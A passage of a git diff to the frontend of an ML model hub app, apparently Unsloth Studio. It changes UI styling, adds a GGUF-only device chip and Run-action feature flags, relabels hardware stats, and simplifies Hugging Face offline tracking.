-            className="inline-flex h-7 shrink-0 cursor-pointer items-center gap-1.5 rounded-full bg-amber-500/[0.07] pl-2 pr-2.5 text-[12px] font-medium text-amber-800/90 transition-colors duration-150 hover:bg-amber-500/[0.12] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-amber-500/25 dark:bg-amber-400/[0.08] dark:text-amber-200/85 dark:hover:bg-amber-400/[0.16]"
+            className="inline-flex h-7 shrink-0 cursor-pointer items-center gap-1.5 rounded-full bg-amber-500/[0.07] pl-2 pr-2.5 text-[12px] font-medium text-amber-800/90 transition-colors duration-150 hover:bg-amber-500/[0.12] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-amber-500/25 dark:bg-amber-400/[0.08] dark:text-amber-200/85 dark:hover:bg-amber-400/[0.16]"
           >
             <HugeiconsIcon
               icon={ArrowReloadHorizontalIcon}
diff --git a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
index 9e4f6593b4..f31212e4fd 100644
--- a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
@@ -120,7 +120,7 @@ const CHIP_BASE =
 const CHIP_DEFAULT =
   "border-foreground/15 bg-muted text-foreground/85 dark:border-border/60 dark:bg-white/[0.04] dark:text-foreground/85";
 const CHIP_ACTIVE =
-  "border-emerald-500/40 bg-emerald-500/10 text-emerald-700 dark:text-emerald-300";
+  "border-control-accent/40 bg-control-accent/10 text-control-accent";
 
 function QuantBadge({
   quant,
@@ -173,7 +173,7 @@ function QuantBadge({
       <span
         className={cn(
           "inline-flex shrink-0 cursor-help items-center gap-1.5 whitespace-nowrap text-[12.5px] font-medium tracking-tight tabular-nums",
-          active ? "text-emerald-600 dark:text-emerald-400" : "text-foreground",
+          active ? "text-control-accent" : "text-foreground",
         )}
       >
         {showFit && (
diff --git a/studio/frontend/src/features/hub/catalog/hub-section-row.tsx b/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
index 70049f16e3..b51a6cc257 100644
--- a/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-section-row.tsx
@@ -58,7 +58,7 @@ export const HubSectionRow = memo(function HubSectionRow({
           type="button"
           onClick={onOpenList}
           aria-label={`See all ${title}`}
-          className="hub-section-title group/section -mx-1 inline-flex cursor-pointer items-center gap-1.5 rounded-md px-1 text-[18px] font-semibold tracking-[-0.02em] text-foreground outline-none focus-visible:ring-2 focus-visible:ring-ring"
+          className="hub-section-title group/section -mx-1 inline-flex cursor-pointer items-center gap-1.5 rounded-md px-1 text-[18px] font-semibold tracking-[-0.02em] text-foreground outline-none focus-visible:ring-1 focus-visible:ring-ring"
         >
           {title}
           <HugeiconsIcon
diff --git a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
index e40f5fd5ac..3c020a7199 100644
--- a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
@@ -4,6 +4,7 @@
 import { TrainIcon } from "../components/train-icon";
 import {
   HUB_GGUF_RUN_ACTIONS_VISIBLE,
+  HUB_NON_GGUF_RUN_ACTIONS_VISIBLE,
   HUB_POST_DOWNLOAD_ACTIONS_VISIBLE,
 } from "../lib/hub-feature-flags";
 import {
@@ -410,7 +411,7 @@ export function LocalOnDeviceCard({
   const showOldCacheHint = source === "hf_cache" && !!unsupportedReason;
   const runActionsVisible = isGguf
     ? HUB_GGUF_RUN_ACTIONS_VISIBLE
-    : HUB_POST_DOWNLOAD_ACTIONS_VISIBLE;
+    : HUB_NON_GGUF_RUN_ACTIONS_VISIBLE;
 
   return (
     <div className="flex w-full flex-col gap-2">
diff --git a/studio/frontend/src/features/hub/catalog/model-card.tsx b/studio/frontend/src/features/hub/catalog/model-card.tsx
index 358a3409b5..370e5071f4 100644
--- a/studio/frontend/src/features/hub/catalog/model-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-card.tsx
@@ -277,7 +277,7 @@ export const ModelCard = memo(function ModelCard({
       aria-label={row.repo}
       onClick={() => onSelect(row.id)}
       style={cardAccentStyle}
-      className="hub-model-card hub-trending-card group/card flex h-full w-full cursor-pointer flex-col overflow-hidden px-3 py-3.5 text-left outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+      className="hub-model-card hub-trending-card group/card flex h-full w-full cursor-pointer flex-col overflow-hidden px-3 py-3.5 text-left outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
     >
       <div className="flex min-w-0 items-start gap-2.5">
         <OwnerAvatar
@@ -295,7 +295,7 @@ export const ModelCard = memo(function ModelCard({
             {row.owner.toLowerCase() === "unsloth" && (
               <span
                 aria-label="Verified Unsloth"
-                className="hub-verified-badge size-3.5 shrink-0 text-primary"
+                className="hub-verified-badge size-3.5 shrink-0 text-verified"
               />
             )}
           </span>
diff --git a/studio/frontend/src/features/hub/catalog/model-inspector.tsx b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
index 0f244bce53..63cb34678b 100644
--- a/studio/frontend/src/features/hub/catalog/model-inspector.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-inspector.tsx
@@ -263,17 +263,22 @@ type VramInfo = { est: number; status: "fits" | "tight" | "exceeds" } | null;
 function ModelStatusChips({
   isDataset,
   isGguf,
+  chatOnly,
   unslothSupport,
   vramInfo,
 }: {
   isDataset: boolean;
   isGguf: boolean;
+  chatOnly: boolean;
   unslothSupport: UnslothSupport;
   vramInfo: VramInfo;
 }) {
   const showUnsupported = !isDataset && unslothSupport.status === "unsupported";
+  // The format-unsupported chip already explains itself; this one covers the
+  // supported-format model a chat-only host still can't run.
+  const showChatOnly = !isDataset && !isGguf && chatOnly && !showUnsupported;
   const showVram = !isDataset && vramInfo && !isGguf;
-  if (!showUnsupported && !showVram) return null;
+  if (!showUnsupported && !showChatOnly && !showVram) return null;
 
   const vramTone = vramInfo
     ? vramInfo.status === "exceeds"
@@ -323,6 +328,26 @@ function ModelStatusChips({
           </TooltipContent>
         </Tooltip>
       )}
+      {showChatOnly && (
+        <Tooltip>
+          <TooltipTrigger asChild={true}>
+            <span tabIndex={0} className="inline-flex outline-none">
+              <StatusChip tone="warning" label="GGUF-only device" />
+            </span>
+          </TooltipTrigger>
+          <TooltipContent
+            side="bottom"
+            sideOffset={6}
+            className="tooltip-compact max-w-xs"
+          >
+            This device has no supported GPU or usable MLX, so only GGUF models
+            can run here.
+            <span className="mt-1 block text-[10.5px] font-normal text-white/75">
+              Still downloadable to your Hugging Face cache.
+            </span>
+          </TooltipContent>
+        </Tooltip>
+      )}
       {showVram && vramInfo && (
         <Tooltip>
           <TooltipTrigger asChild={true}>
@@ -406,6 +431,7 @@ export const ModelInspector = memo(function ModelInspector({
     onSearchHub,
   } = actions;
   const deviceType = usePlatformStore((s) => s.deviceType);
+  const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const hfToken = useHfTokenStore((s) => s.token);
   const datasetRepoId = isDataset && model?.hubRepoId ? model.hubRepoId : null;
   const datasetSize = useDatasetSize(datasetRepoId, {
@@ -504,15 +530,19 @@ export const ModelInspector = memo(function ModelInspector({
   const paramsLabel = model.totalParams
     ? formatCompact(model.totalParams)
     : "N/A";
-  const trainingSupported = unslothSupport.status !== "unsupported";
+  const unslothSupported = unslothSupport.status !== "unsupported";
+  // Chat-only hosts (no supported GPU / usable MLX) run inference only through
+  // llama.cpp, so only GGUF is loadable.
   const canRunModel =
-    !isDataset && (model.runtimeCapabilities?.canChat ?? true);
+    !isDataset &&
+    (model.runtimeCapabilities?.canChat ?? true) &&
+    (model.isGguf || (!chatOnly && unslothSupported));
   const canTrainModel =
     !isDataset &&
     (model.runtimeCapabilities?.canTrain ?? false) &&
     model.modelFormat !== "gguf" &&
     model.modelFormat !== "adapter" &&
-    trainingSupported;
+    unslothSupported;
 
   const languages = parseLanguageTags(model.tags);
   const datasetSizeBytes =
@@ -547,7 +577,7 @@ export const ModelInspector = memo(function ModelInspector({
               {model.owner.toLowerCase() === "unsloth" && (
                 <span
                   aria-label="Verified Unsloth"
-                  className="hub-verified-badge size-[18px] shrink-0 text-primary"
+                  className="hub-verified-badge size-[18px] shrink-0 text-verified"
                 />
               )}
             </div>
@@ -765,6 +795,7 @@ export const ModelInspector = memo(function ModelInspector({
         <ModelStatusChips
           isDataset={isDataset}
           isGguf={model.isGguf}
+          chatOnly={chatOnly}
           unslothSupport={unslothSupport}
           vramInfo={vramInfo}
         />
diff --git a/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx b/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
index 4199755ba7..111d78f00b 100644
--- a/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
@@ -270,7 +270,7 @@ function CatalogRow({
         aria-label={label}
         onClick={onClick}
         className={cn(
-          "absolute inset-0 cursor-pointer outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset",
+          "absolute inset-0 cursor-pointer outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset",
           card ? "rounded-[16px]" : "rounded-[14px]",
         )}
       />
@@ -515,7 +515,7 @@ export const DiscoverModelRow = memo(function DiscoverModelRow({
               {row.owner.toLowerCase() === "unsloth" && (
                 <span
                   aria-label="Verified Unsloth"
-                  className="hub-verified-badge size-3.5 shrink-0 text-primary"
+                  className="hub-verified-badge size-3.5 shrink-0 text-verified"
                 />
               )}
             </span>
@@ -712,7 +712,7 @@ export const InventoryRow = memo(function InventoryRow({
       {subLabel.toLowerCase() === "unsloth" && (
         <span
           aria-label="Verified Unsloth"
-          className="hub-verified-badge size-3.5 shrink-0 text-primary"
+          className="hub-verified-badge size-3.5 shrink-0 text-verified"
         />
       )}
     </span>
@@ -789,7 +789,7 @@ export const InventoryRow = memo(function InventoryRow({
                 {subLabel.toLowerCase() === "unsloth" && (
                   <span
                     aria-label="Verified Unsloth"
-                    className="hub-verified-badge size-3 shrink-0 text-primary"
+                    className="hub-verified-badge size-3 shrink-0 text-verified"
                   />
                 )}
               </span>
diff --git a/studio/frontend/src/features/hub/catalog/models-header.tsx b/studio/frontend/src/features/hub/catalog/models-header.tsx
index f5afce5c59..10d5a80e5e 100644
--- a/studio/frontend/src/features/hub/catalog/models-header.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-header.tsx
@@ -15,6 +15,7 @@ import {
   PackageIcon,
   RamMemoryIcon,
   RemoveCircleIcon,
+  CpuIcon
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -43,6 +44,7 @@ export function ModelsHeader({
   isDataset,
   gpuLabel,
   ramLabel,
+  coreLabel,
   activeCheckpoint,
   activeGgufVariant,
   onTitleClick,
@@ -53,6 +55,7 @@ export function ModelsHeader({
   isDataset: boolean;
   gpuLabel: string;
   ramLabel: string;
+  coreLabel: string;
   activeCheckpoint: string | null;
   activeGgufVariant: string | null;
   onTitleClick: () => void;
@@ -84,7 +87,8 @@ export function ModelsHeader({
           value={String(localCount)}
         />
         <StatPill icon={ChipIcon} label="VRAM" value={gpuLabel} />
-        <StatPill icon={RamMemoryIcon} label="CPU RAM" value={ramLabel} />
+        <StatPill icon={RamMemoryIcon} label="RAM" value={ramLabel} />
+        <StatPill icon={CpuIcon} label="CPU" value={coreLabel} />
 
         {activeCheckpoint && (
           <div className="hub-tag-soft ml-1 inline-flex items-center gap-1.5 px-2 py-1 text-[11.5px]">
diff --git a/studio/frontend/src/features/hub/catalog/models-table.tsx b/studio/frontend/src/features/hub/catalog/models-table.tsx
index a62806dcb6..f3887fee28 100644
--- a/studio/frontend/src/features/hub/catalog/models-table.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-table.tsx
@@ -340,7 +340,7 @@ function VerifiedOwner({ owner }: { owner: string }) {
       {owner.toLowerCase() === "unsloth" && (
         <span
           aria-label="Verified Unsloth"
-          className="hub-verified-badge size-3.5 shrink-0 text-primary"
+          className="hub-verified-badge size-3.5 shrink-0 text-verified"
         />
       )}
     </span>
@@ -586,7 +586,7 @@ export const ResultCard = memo(function ResultCard({
       type="button"
       aria-label={row.repo}
       onClick={() => onSelect(row.id)}
-      className="hub-result-row hub-result-card group/row flex h-full w-full cursor-pointer items-center gap-3.5 px-4 text-left outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+      className="hub-result-row hub-result-card group/row flex h-full w-full cursor-pointer items-center gap-3.5 px-4 text-left outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
     >
       <OwnerAvatar
         owner={row.owner}
@@ -685,7 +685,7 @@ export const ResultGridRow = memo(function ResultGridRow({
       type="button"
       aria-label={row.repo}
       onClick={() => onSelect(row.id)}
-      className="absolute inset-0 z-0 cursor-pointer rounded-[inherit] outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+      className="absolute inset-0 z-0 cursor-pointer rounded-[inherit] outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
     />
   );
 
@@ -827,7 +827,7 @@ export const ResultSplitRow = memo(function ResultSplitRow({
       aria-current={selected || undefined}
       data-selected={selected || undefined}
       onClick={() => onSelect(row.id)}
-      className="group/row flex h-full w-full cursor-pointer items-center gap-2.5 rounded-[12px] px-2.5 text-left outline-none transition-colors hover:bg-foreground/[0.04] data-[selected]:bg-foreground/[0.07] focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset dark:hover:bg-white/[0.05] dark:data-[selected]:bg-white/[0.08]"
+      className="group/row flex h-full w-full cursor-pointer items-center gap-2.5 rounded-[12px] px-2.5 text-left outline-none transition-colors hover:bg-foreground/[0.04] data-[selected]:bg-foreground/[0.07] focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset dark:hover:bg-white/[0.05] dark:data-[selected]:bg-white/[0.08]"
     >
       <OwnerAvatar
         owner={row.owner}
diff --git a/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx b/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
index ccd61c5f04..424afa2e05 100644
--- a/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
@@ -16,7 +16,10 @@ import {
   PlayIcon,
 } from "@hugeicons/core-free-icons";
 import { TrainIcon } from "../components/train-icon";
-import { HUB_POST_DOWNLOAD_ACTIONS_VISIBLE } from "../lib/hub-feature-flags";
+import {
+  HUB_NON_GGUF_RUN_ACTIONS_VISIBLE,
+  HUB_POST_DOWNLOAD_ACTIONS_VISIBLE,
+} from "../lib/hub-feature-flags";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useState } from "react";
 import { useHfTokenStore } from "../stores/hf-token-store";
@@ -158,6 +161,7 @@ export function SafetensorsDownloadCard({
   const showActionPair = isDownloaded && !downloading && (canRun || !!onTrain);
   const showUnavailableAction =
     isDownloaded && !downloading && !canRun && !onTrain;
+  const trainActionVisible = !!onTrain && HUB_POST_DOWNLOAD_ACTIONS_VISIBLE;
   const canDelete =
     (isDownloaded || isPartial) &&
     !downloading &&
@@ -238,17 +242,17 @@ export function SafetensorsDownloadCard({
             )}
           </div>
         </div>
-        {/* Divider sits above the Download CTA; in the action-pair state it hides with the pair. */}
-        {(!showActionPair || HUB_POST_DOWNLOAD_ACTIONS_VISIBLE) && <CardDivider />}
+        {/* Info/actions hairline; dropped for the run action row (no divider before
+            Run, as in the GGUF card's Run CTA), restored when the Train pair ships. */}
+        {(!showActionPair || trainActionVisible) && <CardDivider />}
         {showActionPair ? (
           <div
             className={cn(
               "group/pair flex h-9 shrink-0 items-stretch gap-1.5",
-              // Run+Train pair hidden until Hub→chat / Hub→train pickers ship.
-              !HUB_POST_DOWNLOAD_ACTIONS_VISIBLE && "hidden",
+              !HUB_NON_GGUF_RUN_ACTIONS_VISIBLE && "hidden",
             )}
           >
-            {onTrain && (
+            {trainActionVisible && (
               <button
                 type="button"
                 onClick={onTrain}
diff --git a/studio/frontend/src/features/hub/components/hf-token-indicator.tsx b/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
index e3aa8163be..1e143a805c 100644
--- a/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
+++ b/studio/frontend/src/features/hub/components/hf-token-indicator.tsx
@@ -50,7 +50,7 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
                 className={cn(
                   "inline-flex size-6 items-center justify-center rounded-full transition-colors",
                   hasToken
-                    ? "bg-primary/15 text-primary"
+                    ? "bg-verified/15 text-verified"
                     : "bg-foreground/[0.07] text-muted-foreground dark:bg-white/[0.07]",
                 )}
               >
@@ -65,7 +65,7 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
             <span
               className={cn(
                 "shrink-0 text-[11px] font-normal tabular-nums",
-                hasToken ? "text-primary" : "text-muted-foreground/70",
+                hasToken ? "text-verified" : "text-muted-foreground/70",
               )}
             >
               {hasToken ? "Set" : "Add"}
@@ -89,7 +89,7 @@ export function HfTokenIndicator({ showLabel = false }: HfTokenIndicatorProps =
           className={cn(
             // Solid circle reads optically larger than the flat HTTP/Xet box, so
             // keep it 22px to sit within the row rather than bulging above it.
-            "inline-flex h-[22px] w-[22px] items-center justify-center rounded-full text-[11.5px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+            "inline-flex h-[22px] w-[22px] items-center justify-center rounded-full text-[11.5px] transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
             hasToken
               ? "hub-tag-soft text-muted-foreground hover:text-foreground/80"
               : "bg-destructive text-destructive-foreground hover:bg-destructive/90",
diff --git a/studio/frontend/src/features/hub/components/page-heading.tsx b/studio/frontend/src/features/hub/components/page-heading.tsx
index b2e4a06fb4..e7c0f003f0 100644
--- a/studio/frontend/src/features/hub/components/page-heading.tsx
+++ b/studio/frontend/src/features/hub/components/page-heading.tsx
@@ -29,7 +29,7 @@ export function PageHeading({
           onClick={onTitleClick}
           className={cn(
             TITLE_CLASS,
-            "cursor-pointer rounded-md text-left outline-none transition-opacity hover:opacity-80 focus-visible:ring-2 focus-visible:ring-ring",
+            "cursor-pointer rounded-md text-left outline-none transition-opacity hover:opacity-80 focus-visible:ring-1 focus-visible:ring-ring",
           )}
         >
           {title}
diff --git a/studio/frontend/src/features/hub/download-manager/api.ts b/studio/frontend/src/features/hub/download-manager/api.ts
index ca987f1643..3373a47b04 100644
--- a/studio/frontend/src/features/hub/download-manager/api.ts
+++ b/studio/frontend/src/features/hub/download-manager/api.ts
@@ -19,7 +19,7 @@ function parseErrorText(status: number, body: unknown): string {
     if (typeof message === "string" && message) return message;
   }
   if (status === 405) {
-    return "Method Not Allowed - the Studio backend did not accept this API method. Restart Studio so the frontend and backend are on the same build.";
+    return "Method Not Allowed - the Unsloth backend did not accept this API method. Restart Unsloth so the frontend and backend are on the same build.";
   }
   return `Request failed (${status})`;
 }
@@ -137,7 +137,7 @@ const DOWNLOAD_TRANSPORT_CAPABILITIES_FALLBACK: DownloadTransportCapabilities =
   http: { available: true, reason: null },
   xet: {
     available: null,
-    reason: "Couldn't verify Xet support with the Studio backend.",
+    reason: "Couldn't verify Xet support with the Unsloth backend.",
   },
 };
 let downloadTransportCapabilitiesCache: DownloadTransportCapabilities | null =
diff --git a/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts b/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
index 6942dfbbb9..a6518ec656 100644
--- a/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
+++ b/studio/frontend/src/features/hub/download-manager/download-api-adapter.ts
@@ -184,7 +184,7 @@ export async function effectiveTransportMode(
     return preferred;
   }
   const reason =
-    capabilities.xet.reason ?? "Studio will use HTTP downloads instead.";
+    capabilities.xet.reason ?? "Unsloth will use HTTP downloads instead.";
   if (lastXetUnavailableWarningReason !== reason) {
     lastXetUnavailableWarningReason = reason;
     toast.warning("Xet download transport unavailable", {
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
index 948b0c098d..d57da2137b 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
@@ -8,10 +8,10 @@ import {
 } from "@/components/ui/tooltip";
 import { hasAuthToken, mustChangePassword } from "@/features/auth/session";
 import { isTauri } from "@/lib/api-base";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
   Alert02Icon,
-  ArrowDown01Icon,
   Cancel01Icon,
   CheckmarkCircle02Icon,
   Download01Icon,
@@ -19,13 +19,13 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useRouterState } from "@tanstack/react-router";
 import { useEffect, useMemo, useState } from "react";
-import { DownloadProgressBar } from "./download-progress-bar";
 import {
   type ManagedDownload,
   downloadManager,
   hydrateDownloadManager,
   useDownloadManagerStore,
 } from "./download-manager-controller";
+import { DownloadProgressBar } from "./download-progress-bar";
 
 function createOrderedJobKeysSelector(): (state: {
   jobs: Record<string, ManagedDownload>;
@@ -241,7 +241,7 @@ export function DownloadManagerPanel({
               className="inline-flex size-6 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-foreground/[0.06] hover:text-foreground dark:hover:bg-white/[0.06]"
             >
               <HugeiconsIcon
-                icon={ArrowDown01Icon}
+                icon={ChevronDownStandardIcon}
                 strokeWidth={1.75}
                 className="size-3.5"
               />
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index 56aa07335d..630daa48ad 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -75,6 +75,7 @@ import {
 } from "./lib/channels";
 import { isHiddenModelId } from "./lib/hidden-models";
 import { inventoryRowMatches, tokenizeQuery } from "./lib/inventory-search";
+import { resolveOwnerProviderLogo } from "./lib/provider-logos";
 import {
   buildDiscoverRows,
   detectResultFormat,
@@ -699,6 +700,9 @@ export function ModelsPage() {
     return discoverRows.filter(
       (row) =>
         !isHiddenModelId(row.id) &&
+        // The default feed only shows models with a provider logo.
+        (!isFeedMode ||
+          resolveOwnerProviderLogo(row.owner, row.repo) !== null) &&
         matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
         matchesCapability(row.capabilities, deferredCapabilityFilter) &&
         (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)) &&
@@ -711,6 +715,7 @@ export function ModelsPage() {
   }, [
     discoverRows,
     isDatasetMode,
+    isFeedMode,
     effectiveDiscoverFormat,
     deferredCapabilityFilter,
     activeChannel,
@@ -1085,11 +1090,15 @@ export function ModelsPage() {
   const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu);
 
   const gpuLabel = gpu.available
-    ? `${Math.floor(gpu.memoryTotalGb)} GB`
+    ? `${Math.round(gpu.memoryTotalGb)} GiB`
     : "Unavailable";
   const ramLabel =
-    gpu.systemRamAvailableGb > 0
-      ? `${Math.floor(gpu.systemRamAvailableGb)} GB`
+    gpu.systemRamTotalGb > 0
+      ? `${Math.round(gpu.systemRamTotalGb)} GiB`
+      : "Unavailable";
+  const coreLabel =
+    gpu.cpuCore > 0 && gpu.cpuThread > 0
+      ? `${gpu.cpuCore}/${gpu.cpuThread}`
       : "Unavailable";
 
   const openNewChat = useCallback(() => {
@@ -1453,6 +1462,7 @@ export function ModelsPage() {
           isDataset={isDatasetMode}
           gpuLabel={gpuLabel}
           ramLabel={ramLabel}
+          coreLabel={coreLabel}
           activeCheckpoint={activeCheckpoint}
           activeGgufVariant={activeGgufVariant}
           onTitleClick={handleResetToDiscover}
diff --git a/studio/frontend/src/features/hub/index.ts b/studio/frontend/src/features/hub/index.ts
index ddcef146b0..3515f6ca76 100644
--- a/studio/frontend/src/features/hub/index.ts
+++ b/studio/frontend/src/features/hub/index.ts
@@ -2,3 +2,8 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 export { cancelStagedModelDownload } from "./download-manager";
+export {
+  getHfToken,
+  mirrorHfTokenInto,
+  useHfTokenStore,
+} from "./stores/hf-token-store";
diff --git a/studio/frontend/src/features/hub/lib/hub-feature-flags.ts b/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
index 858a8b89db..6c74f71d1b 100644
--- a/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
+++ b/studio/frontend/src/features/hub/lib/hub-feature-flags.ts
@@ -4,8 +4,13 @@
 // Hub feature flags for staged rollout. JSX/wiring stay in place so flipping
 // a flag here is the only edit needed to re-enable.
 
-// Post-download Run / New Chat / Use in chat / Train CTAs; hidden until the
-// Hub-aware chat and train pickers ship.
+// Post-download New Chat / Use in chat / Train CTAs; hidden until the
+// Hub-aware chat and train pickers ship. Run CTAs are gated separately below.
 export const HUB_POST_DOWNLOAD_ACTIONS_VISIBLE = false;
 
 export const HUB_GGUF_RUN_ACTIONS_VISIBLE = true;
+
+// Post-download Run CTA for non-GGUF models (MLX repos classify as safetensors).
+// Run has no dependency on the Hub-aware chat/train pickers, so it enables
+// independently of HUB_POST_DOWNLOAD_ACTIONS_VISIBLE, which still gates those.
+export const HUB_NON_GGUF_RUN_ACTIONS_VISIBLE = true;
diff --git a/studio/frontend/src/features/hub/lib/network.ts b/studio/frontend/src/features/hub/lib/network.ts
index 48d165c92a..a0bdf6598d 100644
--- a/studio/frontend/src/features/hub/lib/network.ts
+++ b/studio/frontend/src/features/hub/lib/network.ts
@@ -7,10 +7,10 @@ export function isBrowserOffline(): boolean {
 
 const NETWORK_STATUS_EVENT = "unsloth-network-status";
 const REMOTE_OFFLINE_TTL_MS = 30_000;
-const HUGGING_FACE_REMOTE_ORIGINS = [
-  "https://huggingface.co",
-  "https://datasets-server.huggingface.co",
-] as const;
+// Discovery and repository pages are served by the main Hugging Face origin.
+// Keep optional services such as datasets-server separate so an outage there
+// cannot make the whole Hub appear offline.
+const HUGGING_FACE_ORIGIN = "https://huggingface.co";
 const noopUnsubscribe = () => undefined;
 
 type RemoteNetworkScope = string | readonly string[];
@@ -33,7 +33,7 @@ export function getBrowserOfflineRetryDelayMs(): number {
   // recovery doesn't stall on platforms where navigator.onLine is stuck false.
   return Math.max(
     0,
-    getRemoteOfflineUntil(HUGGING_FACE_REMOTE_ORIGINS) - Date.now(),
+    getRemoteOfflineUntil(HUGGING_FACE_ORIGIN) - Date.now(),
   );
 }
 
@@ -56,7 +56,7 @@ function getRemoteOfflineUntil(scope: RemoteNetworkScope): number {
 }
 
 export function isRemoteNetworkOffline(
-  scope: RemoteNetworkScope = HUGGING_FACE_REMOTE_ORIGINS,
+  scope: RemoteNetworkScope = HUGGING_FACE_ORIGIN,
 ): boolean {
   return getRemoteOfflineUntil(scope) > Date.now();
 }
@@ -66,7 +66,7 @@ export function isHuggingFaceOffline(): boolean {
   // WebKitGTK/Tauri webviews). The authoritative signal is the empirical
   // remote-offline TTL, set when a real fetch fails and cleared on next success;
   // navigator's online/offline events still drive re-evaluation.
-  return isRemoteNetworkOffline(HUGGING_FACE_REMOTE_ORIGINS);
+  return isRemoteNetworkOffline(HUGGING_FACE_ORIGIN);
 }
 
 export function markRemoteNetworkOnline(origin?: string): void {
@@ -85,13 +85,13 @@ export function markRemoteNetworkOnline(origin?: string): void {
 }
 
 export function markRemoteNetworkOffline(
-  originOrTtl: string | number = HUGGING_FACE_REMOTE_ORIGINS[0],
+  originOrTtl: string | number = HUGGING_FACE_ORIGIN,
   ttlMs = REMOTE_OFFLINE_TTL_MS,
 ): void {
   const origin =
     typeof originOrTtl === "string"
       ? originOrTtl
-      : HUGGING_FACE_REMOTE_ORIGINS[0];
+      : HUGGING_FACE_ORIGIN;
   const ttl = typeof originOrTtl === "number" ? originOrTtl : ttlMs;
   const nextUntil = Date.now() + ttl;
   if (nextUntil <= (remoteOfflineUntilByOrigin.get(origin) ?? 0)) {
diff --git a/studio/frontend/src/features/hub/lib/unsloth-support.ts b/studio/frontend/src/features/hub/lib/unsloth-support.ts
index 966f381051..a0fcc2ad2f 100644
--- a/studio/frontend/src/features/hub/lib/unsloth-support.ts
+++ b/studio/frontend/src/features/hub/lib/unsloth-support.ts
@@ -157,6 +157,9 @@ function detectFormatKey(
     if (alias) return alias;
   }
   if (modelId) {
+    // Owner implies format even when local metadata lacks tags; mirrors the
+    // backend's _looks_like_mlx_repo heuristic.
+    if (modelId.trim().toLowerCase().startsWith("mlx-community/")) return "mlx";
     const name = repoLeaf(modelId);
     for (const { key, pattern } of FORMAT_NAME_PATTERNS) {
       if (pattern.test(name)) return key;
diff --git a/studio/frontend/src/features/hub/stores/hf-token-store.ts b/studio/frontend/src/features/hub/stores/hf-token-store.ts
index b1e2560f02..499ba9f644 100644
--- a/studio/frontend/src/features/hub/stores/hf-token-store.ts
+++ b/studio/frontend/src/features/hub/stores/hf-token-store.ts
@@ -5,11 +5,9 @@ import { create } from "zustand";
 import { bumpInventoryVersion } from "./inventory-events";
 
 const HF_TOKEN_KEY = "unsloth_hf_token";
-const HF_TOKEN_CHANGED_EVENT = "unsloth:hf-token-changed";
 const LEGACY_TRAINING_KEY = "unsloth_training_config_v1";
 let storageSyncStarted = false;
 let storageSyncListener: ((event: StorageEvent) => void) | null = null;
-let tokenChangedListener: ((event: Event) => void) | null = null;
